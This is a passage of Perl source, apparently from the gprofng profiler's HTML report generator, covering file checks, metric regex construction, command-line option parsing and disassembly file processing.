      $error_message = &quot;&lt;p&gt;&lt;em&gt;Check file $error_file for more information&lt;/em&gt;&lt;/p&gt;&quot;;
    }
  push (@html_empty_file, $error_message);
  push (@html_empty_file, $html_home);
  push (@html_empty_file, &quot;&lt;br&gt;&quot;);
  push (@html_empty_file, $g_html_credits_line);
  push (@html_empty_file, $html_end);

  return (\@html_empty_file);

} #-- End of subroutine html_text_empty_file

#------------------------------------------------------------------------------
# This subroutine checks if a file is empty and returns $TRUE or $FALSE.
#------------------------------------------------------------------------------
sub is_file_empty
{
  my $subr_name = get_my_name ();

  my ($filename) = @_;

  my $is_empty;
  my $file_stat;
  my $msg;
  my $size;

  chomp ($filename);

  if (not -e $filename)
    {
#------------------------------------------------------------------------------
# The return value is used in the caller.  This is why we return the empty
# string in case the file does not exist.
#------------------------------------------------------------------------------
      $msg = &quot;filename = $filename not found&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
      $is_empty = $TRUE;
    }
  else
    {
      $file_stat = stat ($filename);
      $size      = $file_stat-&gt;size;
      $is_empty  = ($size == 0) ? $TRUE : $FALSE;
    }

  $msg = &quot;filename = $filename size = $size is_empty = $is_empty&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

  return ($is_empty);

} #-- End of subroutine is_file_empty

#------------------------------------------------------------------------------
# Check if a file is executable and return $TRUE or $FALSE.
#------------------------------------------------------------------------------
sub is_file_executable
{
  my $subr_name = get_my_name ();

  my ($filename) = @_;

  my $file_permissions;
  my $index_offset;
  my $is_executable;
  my $mode;
  my $number_of_bytes;
  my @permission_settings = ();
  my %permission_values = ();

  chomp ($filename);

  gp_message (&quot;debug&quot;, $subr_name, &quot;check if filename = $filename is executable&quot;);

  if (not -e $filename)
    {
#------------------------------------------------------------------------------
# The return value is used in the caller.  This is why we return the empty
# string in case the file does not exist.
#------------------------------------------------------------------------------
      gp_message (&quot;debug&quot;, $subr_name, &quot;filename = $filename not found&quot;);
      $is_executable = $FALSE;
    }
  else
    {
      $mode = stat ($filename)-&gt;mode;

      gp_message (&quot;debugXL&quot;, $subr_name, &quot;mode = $mode&quot;);
#------------------------------------------------------------------------------
# Get username.  We currently do not do anything with this though and the
# code is commented out.
#
#      my $my_name = getlogin () || getpwuid($&lt;) || &quot;Kilroy&quot;;
#      gp_message (&quot;debug&quot;, $subr_name, &quot;my_name = $my_name&quot;);
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Convert file permissions to octal, split the individual numbers and store
# the values for the respective users.
#------------------------------------------------------------------------------
      $file_permissions = sprintf(&quot;%o&quot;, $mode &amp; 07777);

      @permission_settings = split (//, $file_permissions);

      $number_of_bytes = scalar (@permission_settings);

      gp_message (&quot;debugXL&quot;, $subr_name, &quot;file_permissions = $file_permissions&quot;);
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;permission_settings = @permission_settings&quot;);
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;number_of_settings = $number_of_bytes&quot;);

      if ($number_of_bytes == 4)
        {
          $index_offset = 1;
        }
      elsif ($number_of_bytes == 3)
        {
          $index_offset = 0;
        }
      else
        {
          my $msg = &quot;unexpected number of $number_of_bytes bytes &quot; .
                    &quot;in permission settings: @permission_settings&quot;;
          gp_message (&quot;assertion&quot;, $subr_name, $msg);
        }

      $permission_values{user}  = $permission_settings[$index_offset++];
      $permission_values{group} = $permission_settings[$index_offset++];
      $permission_values{other} = $permission_settings[$index_offset];

#------------------------------------------------------------------------------
# The executable bit should be set for user, group and other.  If this fails
# we mark the file as not executable.  Note that this is gprofng specific.
#------------------------------------------------------------------------------
      $is_executable = $TRUE;
      for my $k (keys %permission_values)
        {
          my $msg = &quot;permission_values{&quot; . $k . &quot;} = &quot; .
                    $permission_values{$k};
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);

          if ($permission_values{$k} % 2 == 0)
            {
              $is_executable = $FALSE;
              last;
            }
        }
    }

  gp_message (&quot;debug&quot;, $subr_name, &quot;is_executable = $is_executable&quot;);

  return ($is_executable);

} #-- End of subroutine is_file_executable

#------------------------------------------------------------------------------
# Print a message after a failure in $GP_DISPLAY_TEXT.
#------------------------------------------------------------------------------
sub msg_display_text_failure
{
  my $subr_name = get_my_name ();

  my ($gp_display_text_cmd, $error_code, $error_file) = @_;

  my $msg;

  $msg = &quot;error code = $error_code - failure executing the following command:&quot;;
  gp_message (&quot;error&quot;, $subr_name, $msg);

  gp_message (&quot;error&quot;, $subr_name, $gp_display_text_cmd);

  $msg = &quot;check file $error_file for more details&quot;;
  gp_message (&quot;error&quot;, $subr_name, $msg);

  return (0);

} #-- End of subroutine msg_display_text_failure

#------------------------------------------------------------------------------
# TBD.
#------------------------------------------------------------------------------
sub name_regex
{
  my $subr_name = get_my_name ();

  my ($metric_description_ref, $metrics, $field, $file) = @_;

  my %metric_description = %{ $metric_description_ref };

  my @splitted_metrics;
  my $splitted_metrics;
  my $m;
  my $mf;
  my $nf;
  my $re;
  my $Xre;
  my $noPCfile;
  my @reported_metrics;
  my $reported_metrics;
  my $hdr_regex;
  my $hdr_href_regex;
  my $hdr_src_regex;
  my $new_metrics;
  my $pre;
  my $post;
  my $rat;
  my @moo = ();

  my $gp_metrics_file;
  my $gp_metrics_dir;
  my $suffix_not_used;

  my $is_calls    = $FALSE;
  my $is_calltree = $FALSE;

  gp_message (&quot;debugXL&quot;, $subr_name,&quot;1:metrics-&gt;$metrics&lt;- field-&gt;$field&lt;- file-&gt;$file&lt;-&quot;);

#------------------------------------------------------------------------------
# According to https://perldoc.perl.org/File::Basename, both dirname and
# basename are not reliable and fileparse () is recommended instead.
#
# Note that $gp_metrics_dir has a trailing &quot;/&quot;.
#------------------------------------------------------------------------------
  ($gp_metrics_file, $gp_metrics_dir, $suffix_not_used) = fileparse ($file, &quot;.sort.func-PC&quot;);

  gp_message (&quot;debugXL&quot;, $subr_name, &quot;gp_metrics_dir = $gp_metrics_dir gp_metrics_file = $gp_metrics_file&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;suffix_not_used = $suffix_not_used&quot;);

  if ($gp_metrics_file eq &quot;calls&quot;)
    {
      $is_calls = $TRUE;
    }
  if ($gp_metrics_file eq &quot;calltree&quot;)
    {
      $is_calltree = $TRUE;
    }

  $gp_metrics_file = &quot;gp-metrics-&quot; . $gp_metrics_file . &quot;-PC&quot;;
  $gp_metrics_file = $gp_metrics_dir . $gp_metrics_file;

  gp_message (&quot;debugXL&quot;, $subr_name, &quot;gp_metrics_file is $gp_metrics_file&quot;);

  open (GP_METRICS, &quot;&lt;&quot;, $gp_metrics_file)
    or die (&quot;$subr_name - unable to open gp_metrics file $gp_metrics_file for reading - &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $gp_metrics_file for reading&quot;);

  $new_metrics = $metrics;

  while (&lt;GP_METRICS&gt;)
    {
      $rat = $_;
      chomp ($rat);
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;rat = $rat - new_metrics = $new_metrics&quot;);
#------------------------------------------------------------------------------
# Capture the string after &quot;Current metrics:&quot; and if it ends with &quot;:name&quot;,
# remove it.
#------------------------------------------------------------------------------
      if ($rat =~ /^\s*Current metrics:\s*(.*)$/)
        {
          $new_metrics = $1;
          if ($new_metrics =~ /^(.*):name$/)
            {
              $new_metrics = $1;
            }
          last;
        }
    }
  close (GP_METRICS);

  if ($is_calls or $is_calltree)
    {
#------------------------------------------------------------------------------
# Remove any inclusive metrics from the list.
#------------------------------------------------------------------------------
      while ($new_metrics =~ /(.*)(i\.[^:]+)(.*)$/)
        {
          $pre  = $1;
          $post = $3;
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;1b: new_metrics = $new_metrics pre = $pre post = $post&quot;);
          if (substr ($post,0,1) eq &quot;:&quot;)
            {
              $post = substr ($post,1);
            }
          $new_metrics = $pre.$post;
        }
    }

  $metrics = $new_metrics;

  gp_message (&quot;debugXL&quot;, $subr_name, &quot;2:metrics-&gt;$metrics&lt;- field-&gt;$field&lt;- file-&gt;$file&lt;-&quot;);

#------------------------------------------------------------------------------
# Find the line starting with &quot;address:&quot; and strip this part away.
#------------------------------------------------------------------------------
  if ($metrics =~ /^address:(.*)/)
    {
      $reported_metrics = $1;
#------------------------------------------------------------------------------
# Focus on the filename ending with &quot;-PC&quot;.  When found, strip this part away.
#------------------------------------------------------------------------------
      if ($file =~ /^(.*)-PC$/)
        {
          $noPCfile = $1;
          if ($noPCfile =~ /^(.*)functions.sort.func$/)
            {
              $noPCfile = $1.&quot;functions.func&quot;;
            }
          push (@moo, &quot;$reported_metrics\n&quot;);
        }
    }

#------------------------------------------------------------------------------
# Split the list into an array with the individual metrics.
#
# TBD: This should be done only once!
#------------------------------------------------------------------------------
  @reported_metrics = split (&quot;:&quot;, $reported_metrics);
  for my $i (@reported_metrics)
    {
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;reported_metrics = $i&quot;);
    }

  $hdr_regex      = &quot;^\\s*&quot;;
  $hdr_href_regex = &quot;^\\s*&quot;;
  $hdr_src_regex  = &quot;^(\\s+|&lt;i&gt;\\s+)&quot;;

  for my $m (@reported_metrics)
    {

      my $description = ${ retrieve_metric_description (\$m, \%metric_description) };
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;m = $m description = $description&quot;);
      if (substr ($m,0,1) eq &quot;e&quot;)
        {
          push (@moo,&quot;$m:$description\n&quot;);
          $hdr_regex .= &quot;(Excl\\.\.*)&quot;;
          $hdr_href_regex .= &quot;(&lt;a.*&gt;)(Excl\\.)(&lt;\/a&gt;)([^&lt;]+)&quot;;
          $hdr_src_regex .= &quot;(Excl\\.\.*)&quot;;
          next;
        }
      if (substr ($m,0,1) eq &quot;i&quot;)
        {
          push (@moo,&quot;$m:$description\n&quot;);
          $hdr_regex .= &quot;(Incl\\.\.*)&quot;;
          $hdr_href_regex .= &quot;(&lt;a.*&gt;)(Incl\\.)(&lt;\/a&gt;)([^&lt;]+)&quot;;
          $hdr_src_regex .= &quot;(Incl\\.\.*)&quot;;
          next;
        }
      if (substr ($m,0,1) eq &quot;a&quot;)
        {
          my $a;
          my $am;
          $a = $m;
          $a =~ s/^a/e/;
          $am = ${ retrieve_metric_description (\$a, \%metric_description) };
          $am =~ s/Exclusive/Attributed/;
          push (@moo,&quot;$m:$am\n&quot;);
          $hdr_regex .= &quot;(Attr\\.\.*)&quot;;
          $hdr_href_regex .= &quot;(&lt;a.*&gt;)(Attr\\.)(&lt;\/a&gt;)([^&lt;]+)&quot;;
          $hdr_src_regex .= &quot;(Attr\\.\.*)&quot;;next;
        }
    }

  $hdr_regex      .= &quot;(Name\.*)&quot;;
  $hdr_href_regex .= &quot;(Name\.*)&quot;;

  @splitted_metrics = split (&quot;:&quot;,&quot;$metrics&quot;);
  $nf               = scalar (@splitted_metrics);
  gp_message (&quot;debug&quot;, $subr_name,&quot;number of fields in $metrics -&gt; $nf&quot;);

  open (ZMETRICS, &quot;&gt;&quot;, &quot;$noPCfile.metrics&quot;)
    or die (&quot;Not able to open file $noPCfile.metrics for writing - &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;$noPCfile - opened file $noPCfile.metrics for writing&quot;);

  print ZMETRICS @moo;
  close (ZMETRICS);

  gp_message (&quot;debug&quot;, $subr_name, &quot;wrote file $noPCfile.metrics&quot;);

  open (XREGEXP, &quot;&gt;&quot;, &quot;$noPCfile.c.regex&quot;)
    or die (&quot;Not able to open file $noPCfile.c.regex for writing - &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;$noPCfile - opened file $noPCfile.c.regex for writing&quot;);

  print XREGEXP &quot;\# Number of metric fields\n&quot;;
  print XREGEXP &quot;$nf\n&quot;;
  print XREGEXP &quot;\# Header regex\n&quot;;
  print XREGEXP &quot;$hdr_regex\n&quot;;
  print XREGEXP &quot;\# href Header regex\n&quot;;
  print XREGEXP &quot;$hdr_href_regex\n&quot;;
  print XREGEXP &quot;\# src Header regex\n&quot;;
  print XREGEXP &quot;$hdr_src_regex\n&quot;;

  $mf = 1;
#---------------------------------------------------------------------------
# Find the index of &quot;field&quot; in the metric list, plus one.
#---------------------------------------------------------------------------
  if ( ($field eq &quot;functions&quot;) or ($field eq &quot;calls&quot;) or ($field eq &quot;calltree&quot;))
    {
      $mf = $nf + 1;
    }
  else
    {
      for my $candidate_metric (@splitted_metrics)
        {
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;field = $field candidate_metric = $candidate_metric and mf = $mf&quot;);
          if ($candidate_metric eq $field)
            {
              last;
            }
          $mf++;
        }
    }
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;Final value mf = $mf&quot;);

  if ($mf == 1)
    {
      $re = &quot;^\\s*(\\S+)&quot;; # metric value
    }
  else
    {
      $re = &quot;^\\s*\\S+&quot;;
    }
  $Xre = &quot;^\\s*(\\S+)&quot;;

  $m = 2;
  while (--$nf)
    {
      if ($nf)
        {
          if ($m == $mf)
            {
              $re .= &quot;\\s+(\\S+)&quot;; # metric value
            }
          else
            {
              $re .= &quot;\\s+\\S+&quot;;
            }
          if ($nf != 1)
            {
              $Xre .= &quot;\\s+(\\S+)&quot;;
            }
          $m++;
        }
    }

  if ($field eq &quot;calltree&quot;)
    {
      $re .= &quot;\\s+.*\\+-(.*)&quot;; # name
      $Xre .= &quot;\\s+.*\\+-(.*)\$&quot;; # name (Right?)
    }
  else
    {
      $re .= &quot;\\s+(.*)&quot;; # name
      $Xre .= &quot;\\s+(.*)\$&quot;; # name
    }

  print XREGEXP &quot;\# Metrics and Name regex\n&quot;;
  print XREGEXP &quot;$Xre\n&quot;;
  close (XREGEXP);

  gp_message (&quot;debug&quot;, $subr_name, &quot;wrote file $noPCfile.c.regex&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;on return Xre = $Xre&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;on return re  = $re&quot;);

  return ($re);

} #-- End of subroutine name_regex

#------------------------------------------------------------------------------
# TBD
#------------------------------------------------------------------------------
sub nosrc
{
  my $subr_name = get_my_name ();

  my ($input_string) = @_;

  my $directory_name = append_forward_slash ($input_string);
  my $LANG           = $g_locale_settings{&quot;LANG&quot;};
  my $result_file    = $directory_name.&quot;no_source.html&quot;;

  gp_message (&quot;debug&quot;, $subr_name, &quot;result_file = $result_file&quot;);

  open (NS, &quot;&gt;&quot;, $result_file)
    or die (&quot;$subr_name: cannot open file $result_file for writing - &#039;$!&#039;&quot;);

  print NS &quot;&lt;!doctype html public \&quot;-//w3c//dtd html 3.2//en\&quot;&gt;\n&lt;html lang=\&quot;$LANG\&quot;&gt;\n&lt;head&gt;\n&quot;.
           &quot;&lt;meta http-equiv=\&quot;content-type\&quot; content=\&quot;text/html; charset=iso-8859-1\&quot;&gt;\n&quot; .
           &quot;&lt;title&gt;No source&lt;/title&gt;&lt;/head&gt;&lt;body lang=\&quot;$LANG\&quot; bgcolor=&quot;.$g_html_color_scheme{&quot;background_color_page&quot;}.&quot;&gt;&lt;pre&gt;\n&quot;;
  print NS &quot;&lt;a name=\&quot;line1\&quot;&gt;&lt;/a&gt;&lt;font color=#C80707&gt;&quot;.&quot;No source was found&quot;.&quot;&lt;/font&gt;\n&quot;; # red font
  print NS &quot;&lt;/pre&gt;\n&lt;pre&gt;Output generated by $version_info&lt;/pre&gt;\n&quot;;
  print NS &quot;&lt;/body&gt;&lt;/html&gt;\n&quot;;

  close (NS);

  return (0);

} #-- End of subroutine nosrc

#------------------------------------------------------------------------------
# TBD.
#------------------------------------------------------------------------------
sub numerically
{
  my $f1;
  my $f2;

  if ($a =~ /^([^\d]*)(\d+)/)
    {
      $f1 = int ($2);
      if ($b=~ /^([^\d]*)(\d+)/)
        {
          $f2 = int ($2);
          $f1 == $f2 ? 0 : ($f1 &lt; $f2 ? -1 : +1);
        }
    }
  else
    {
      return ($a &lt;=&gt; $b);
    }
} #-- End of subroutine numerically

#------------------------------------------------------------------------------
# Parse the user options. Also perform a basic check.  More checks and also
# some more specific to the option, plus cross option checks,  will be
# performed soon after this subroutine has executed.
#
# Warnings, but also errors, are buffered.  In this way we can collect as many
# warnings and errors as possible, before bailing out in case of an error.
#------------------------------------------------------------------------------
sub parse_and_check_user_options
{
  my $subr_name = get_my_name ();

  my @exp_dir_list;

  my $arg;
  my $calltree_value;
  my $debug_value;
  my $default_metrics_value;
  my $func_limit_value;
  my $found_exp_dir = $FALSE;
  my $ignore_metrics_value;
  my $ignore_value;
  my $msg;
  my $outputdir_value;
  my $quiet_value;
  my $hp_value;
  my $valid;
  my $verbose_value;

  my $number_of_fields;

  my $internal_option_name;
  my $option_name;

  my $verbose = undef;
  my $warning = undef;

  my @opt_debug                = ();
  my @opt_highlight_percentage = ();
  my @opt_nowarnings           = ();
  my @opt_obsoleted_hp         = ();
  my @opt_output               = ();
  my @opt_overwrite            = ();
  my @opt_quiet                = ();
  my @opt_verbose              = ();
  my @opt_warnings             = ();

#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
  my $no_of_warnings;
  my $total_warning_msgs = 0;
  my $option_value;
  my $option_warnings;
  my $no_of_warnings_ref;
  my $no_of_errors_ref;

  my $index_exp;
  my $first = $TRUE;
  my $trigger = $FALSE;
  my $found_non_exp = $FALSE;
  my $name_non_exp_dir;
  my $no_of_experiments = 0;

  my @opt_help = ();
  my @opt_version = ();
  my $stop_execution = $FALSE;

  my $option_value_ref;
  my $max_occurrences;
#------------------------------------------------------------------------------
# Configure Getopt to:
# - Silence warnings, since these are handled by the code.
# - Enforce case sensitivity in order to support -o and -O for example.
#------------------------------------------------------------------------------
  Getopt::Long::Configure(&quot;pass_through&quot;, &quot;no_ignore_case&quot;);

#------------------------------------------------------------------------------
# Check for the --help and --version options.  Print a message and exit.
# Note that we support using both options simultaneously on the command line.
#------------------------------------------------------------------------------
  GetOptions (
    &quot;help&quot;    =&gt; \@opt_help,
    &quot;version&quot; =&gt; \@opt_version
  );

  if (@opt_help)
    {
      $stop_execution = $TRUE;
      $ignore_value   = print_help_info ();
    }
  if (@opt_version)
    {
      $stop_execution = $TRUE;
      $ignore_value   = print_version_info ();
    }

  if ($stop_execution)
    {
      exit (0);
    }

#------------------------------------------------------------------------------
# First, scan ARGV for the experiment names.  If there are no names, or the
# list with the names is not contiguous (meaning there is an non-experiment
# name in this list), an error message is printed and execution is terminated.
#
# Upon return from this function, the list with the experiment names is
# known and has been removed from ARGV.
#
# As a result, exp_dir_list is available from there on.
#
# This makes the subsequent processing of ARGV with GetOptions()  easier.
#------------------------------------------------------------------------------
  @exp_dir_list = @{ check_the_experiment_list () };

#------------------------------------------------------------------------------
# Configure Getopt to:
# - Silence warnings, since these are handled by the code.
# - Enforce case sensitivity in order to support -o and -O for example.
# - Allow unique abbreviations (also the default).
#------------------------------------------------------------------------------
  Getopt::Long::Configure(&quot;pass_through&quot;, &quot;no_ignore_case&quot;, &quot;auto_abbrev&quot;);
#------------------------------------------------------------------------------
# Get the remaining command line options.
#
# Recall:
# = =&gt; option requires a value
# : =&gt; option value is optional
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# All options are considered to be a string.
#
# We request every option supported to have an optional value.  Otherwise,
# GetOptions skips an option that does not have a value.
#
# The logic that parses the options deals with this and checks if an option
# that should have a value, actually has one.
#------------------------------------------------------------------------------
  GetOptions (
    &quot;verbose|v:s&quot;            =&gt; \@opt_verbose,
    &quot;debug|d:s&quot;              =&gt; \@opt_debug,
    &quot;warnings|w:s&quot;           =&gt; \@opt_warnings,
    &quot;nowarnings:s&quot;           =&gt; \@opt_nowarnings,
    &quot;quiet|q:s&quot;              =&gt; \@opt_quiet,
    &quot;output|o=s&quot;             =&gt; \@opt_output,
    &quot;overwrite|O=s&quot;          =&gt; \@opt_overwrite,
    &quot;highlight-percentage=s&quot; =&gt; \@opt_highlight_percentage,
    &quot;hp=s&quot;                   =&gt; \@opt_obsoleted_hp
  );

#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
# Handle the user input and where needed, generate warnings.  In a later stage
# we check for (cross option) errors and warnings.
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# The very first thing to do is to determine if the user has enabled one of the
# following options and take action accordingly:
# --quiet, --verbose, --debug, --warnings
#
# We first need to check for quiet mode to be set.  If so, all messages need to
# be silenced, regardless of the settings for verbose, debug, and warnings.
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# The quiet option.
#------------------------------------------------------------------------------
  if (@opt_quiet)
    {
      $max_occurrences      = 1;
      $internal_option_name = &quot;quiet&quot;;
      $option_name          = &quot;--quiet&quot;;

      my ($valid_ref) = extract_option_value (\@opt_quiet,
					      \$max_occurrences,
					      \$internal_option_name,
					      \$option_name);

      $valid = ${ $valid_ref };

      if ($valid)
        {
          $g_quiet = $g_user_settings{&quot;quiet&quot;}{&quot;current_value&quot;} eq &quot;on&quot; ?
								$TRUE : $FALSE;
        }
    }

#------------------------------------------------------------------------------
# The debug option.
#------------------------------------------------------------------------------
  if (@opt_debug)
    {
      $max_occurrences      = 1;
      $internal_option_name = &quot;debug&quot;;
      $option_name          = &quot;-d/--debug&quot;;

      my ($valid_ref) = extract_option_value (\@opt_debug,
					      \$max_occurrences,
					      \$internal_option_name,
					      \$option_name);

      $valid = ${ $valid_ref };

      if ($valid)
#------------------------------------------------------------------------------
# Set the appropriate debug size (e.g. &quot;XL&quot;) in a table that is used in the
# gp_message() subroutine.
#------------------------------------------------------------------------------
        {
          $g_debug = $TRUE;
          $ignore_value = set_debug_size ();
        }
    }

#------------------------------------------------------------------------------
# The verbose option.
#------------------------------------------------------------------------------
  if (@opt_verbose)
    {
      $max_occurrences      = 1;
      $internal_option_name = &quot;verbose&quot;;
      $option_name          = &quot;--verbose&quot;;

      my ($valid_ref) = extract_option_value (\@opt_verbose,
					      \$max_occurrences,
					      \$internal_option_name,
					      \$option_name);
      $valid = ${ $valid_ref };

      if ($valid)
        {
          $g_verbose = $g_user_settings{&quot;verbose&quot;}{&quot;current_value&quot;} eq &quot;on&quot; ?
								$TRUE : $FALSE;
        }
    }

#------------------------------------------------------------------------------
# The nowarnings option.
#------------------------------------------------------------------------------
  if (@opt_nowarnings)
    {
      $max_occurrences      = 1;
      $internal_option_name = &quot;nowarnings&quot;;
      $option_name          = &quot;--nowarnings&quot;;

      my ($valid_ref) = extract_option_value (\@opt_nowarnings,
					      \$max_occurrences,
					      \$internal_option_name,
					      \$option_name);

      $valid = ${ $valid_ref };

      if ($valid)
        {
          $g_warnings =
		$g_user_settings{&quot;nowarnings&quot;}{&quot;current_value&quot;} eq &quot;on&quot; ?
								$FALSE : $TRUE;
        }
    }

#------------------------------------------------------------------------------
# The warnings option (deprecated).
#------------------------------------------------------------------------------
  if (@opt_warnings)
    {
      $max_occurrences      = 1;
      $internal_option_name = &quot;warnings&quot;;
      $option_name          = &quot;--warnings&quot;;

      my ($valid_ref) = extract_option_value (\@opt_warnings,
					      \$max_occurrences,
					      \$internal_option_name,
					      \$option_name);
    }

#------------------------------------------------------------------------------
# At this point, the debug, verbose, warnings and quiet settings are known.
# This subroutine makes the final decision on these settings.  For example, if
# quiet mode has been specified, the settings for debug, verbose and warnings
# are ignored.
#------------------------------------------------------------------------------
  $ignore_value = finalize_special_options ();

#------------------------------------------------------------------------------
# A this point we know we can start printing messages in case verbose and/or
# debug mode have been set.
#------------------------------------------------------------------------------
  $msg = &quot;the original command line options: &quot; . join (&quot;, &quot;, @CopyOfARGV);
  gp_message (&quot;debug&quot;, $subr_name, $msg);

  $msg = &quot;the command line options after the special options: &quot; .
         join (&quot;, &quot;, @ARGV);
  gp_message (&quot;debug&quot;, $subr_name, $msg);

  gp_message (&quot;verbose&quot;, $subr_name, &quot;Parsing the user options&quot;);

#------------------------------------------------------------------------------
# The output option.
#------------------------------------------------------------------------------
  if (@opt_output)
    {
      $max_occurrences      = 1;
      $internal_option_name = &quot;output&quot;;
      $option_name          = &quot;-o/--output&quot;;

      my ($valid_ref) = extract_option_value (\@opt_output,
					      \$max_occurrences,
					      \$internal_option_name,
					      \$option_name);
    }

#------------------------------------------------------------------------------
# The overwrite option.
#------------------------------------------------------------------------------
  if (@opt_overwrite)
    {
      $max_occurrences      = 1;
      $internal_option_name = &quot;overwrite&quot;;
      $option_name          = &quot;-O/--overwrite&quot;;

      my ($valid_ref) = extract_option_value (\@opt_overwrite,
					      \$max_occurrences,
					      \$internal_option_name,
					      \$option_name);
    }

#------------------------------------------------------------------------------
# The highlight-percentage option.
#------------------------------------------------------------------------------
  if (@opt_highlight_percentage)
    {
      $max_occurrences      = 1;
      $internal_option_name = &quot;highlight_percentage&quot;;
      $option_name          = &quot;--highlight-percentage&quot;;

      my ($valid_ref) = extract_option_value (\@opt_highlight_percentage,
					      \$max_occurrences,
					      \$internal_option_name,
					      \$option_name);
    }

#------------------------------------------------------------------------------
# The hp option (deprecated)
#------------------------------------------------------------------------------
  if (@opt_obsoleted_hp)
    {
      $max_occurrences      = 1;
      $internal_option_name = &quot;hp&quot;;
      $option_name          = &quot;-hp&quot;;

      my ($valid_ref) = extract_option_value (\@opt_obsoleted_hp,
					      \$max_occurrences,
					      \$internal_option_name,
					      \$option_name);
    }

#------------------------------------------------------------------------------
# By now, all options given on the command line have been processed and the
# list with experiment directories is known.
#
# Process the remainder of ARGV, but other than the option generated by the
# driver, ARGV should be empty.
#------------------------------------------------------------------------------
  $ignore_value = wrap_up_user_options ();

# Temporarily disabled       elsif (($arg eq &quot;-fl&quot;) or ($arg eq &quot;--func-limit&quot;))
# Temporarily disabled       elsif (($arg eq &quot;-ct&quot;) or ($arg eq &quot;--calltree&quot;))
# Temporarily disabled       elsif (($arg eq &quot;-tp&quot;) or ($arg eq &quot;--threshold-percentage&quot;))
# Temporarily disabled       elsif (($arg eq &quot;-dm&quot;) or ($arg eq &quot;--default-metrics&quot;))
# Temporarily disabled       elsif (($arg eq &quot;-im&quot;) or ($arg eq &quot;--ignore-metrics&quot;))

  if (@exp_dir_list)
#------------------------------------------------------------------------------
# Print the list of the experiment directories found.
#
# Note that later we also check for these directories to actually exist
# and be valid experiments..
#------------------------------------------------------------------------------
    {
      $found_exp_dir = $TRUE;
      $msg = &quot;the following experiment directories will be used:&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
      for my $i (keys @exp_dir_list)
        {
          my $msg = &quot;exp_dir_list[$i] = $exp_dir_list[$i]&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);
        }
    }
  else
#------------------------------------------------------------------------------
# Print a message if the experiment list is not valid, or empty.  There will
# also be error messages in the buffer. These will be printed later.
#------------------------------------------------------------------------------
    {
      $msg = &quot;experiment directory name(s) are either not valid, or missing&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
    }

  return (\$found_exp_dir, \@exp_dir_list);

} #-- End of subroutine parse_and_check_user_options

#------------------------------------------------------------------------------
# Parse the generated .dis files
#------------------------------------------------------------------------------
sub parse_dis_files
{
  my $subr_name = get_my_name ();

  my ($number_of_metrics_ref, $function_info_ref,
      $function_address_and_index_ref, $input_string_ref,
      $addressobj_index_ref) = @_;

#------------------------------------------------------------------------------
# Note that $function_address_and_index_ref is not used, but we need to pass
# in the address into generate_dis_html.
#------------------------------------------------------------------------------
  my $number_of_metrics = ${ $number_of_metrics_ref };
  my @function_info     = @{ $function_info_ref };
  my $input_string      = ${ $input_string_ref };
  my %addressobj_index  = %{ $addressobj_index_ref };

#------------------------------------------------------------------------------
# The regex section.
#------------------------------------------------------------------------------
  my $dis_filename_id_regex = &#039;file\.([0-9]+)\.dis&#039;;

  my $filename;
  my $msg;
  my $outputdir = append_forward_slash ($input_string);

  my @source_line = ();
  my $source_line_ref;

  my @metric = ();
  my $metric_ref;

  my $target_function;

  gp_message (&quot;debug&quot;, $subr_name, &quot;building disassembly files&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;outputdir = $outputdir&quot;);

  while (glob ($outputdir.&#039;*.dis&#039;))
    {
      gp_message (&quot;debug&quot;, $subr_name, &quot;processing disassembly file: $_&quot;);

      my $base_name = get_basename ($_);

      if ($base_name =~ /$dis_filename_id_regex/)
        {
          if (defined ($1))
            {
              gp_message (&quot;debug&quot;, $subr_name, &quot;processing disassembly file: $base_name $1&quot;);
              if (exists ($function_info[$1]{&quot;routine&quot;}))
                {
                  $target_function = $function_info[$1]{&quot;routine&quot;};
                  gp_message (&quot;debug&quot;, $subr_name, &quot;processing disassembly file: $base_name target_function = $target_function&quot;);
                }
              if (exists ($g_function_tag_id{$target_function}))
                {
                  gp_message (&quot;debug&quot;, $subr_name, &quot;target_function = $target_function ftag = $g_function_tag_id{$target_function}&quot;);
                }
              else
                {
                  my $msg = &quot;no function tag found for $target_function&quot;;
                  gp_message (&quot;assertion&quot;, $subr_name, $msg);
                }
            }
          else
            {
              gp_message (&quot;debug&quot;, $subr_name, &quot;processing disassembly file: $base_name unknown id&quot;);
            }
        }
 
      $filename = $_;
      gp_message (&quot;verbose&quot;, $subr_name, &quot;  Processing disassembly file $filename&quot;);
      ($source_line_ref, $metric_ref) = generate_dis_html (
                                          \$target_function,
                                          \$number_of_metrics,
                                          $function_info_ref,
                                          $function_address_and_index_ref,
                                          \$outputdir,
                                          \$filename,
                                          \@source_line,
                                          \@metric,
                                          \%addressobj_index);

      @source_line = @{ $source_line_ref };

#------------------------------------------------------------------------------
# TBD.  This part needs work.  The return variables from generate_dis_html ()
# are not used, so the code below is meaningless, but awaiting a true fix,
# the problem which appears on aarch64 is bypassed.
#------------------------------------------------------------------------------
      if (defined ($metric_ref))
        {
          @metric = @{ $metric_ref };
        }
      else
        {
          $msg = &quot;metric_ref after generate_dis_html is undefined&quot;;
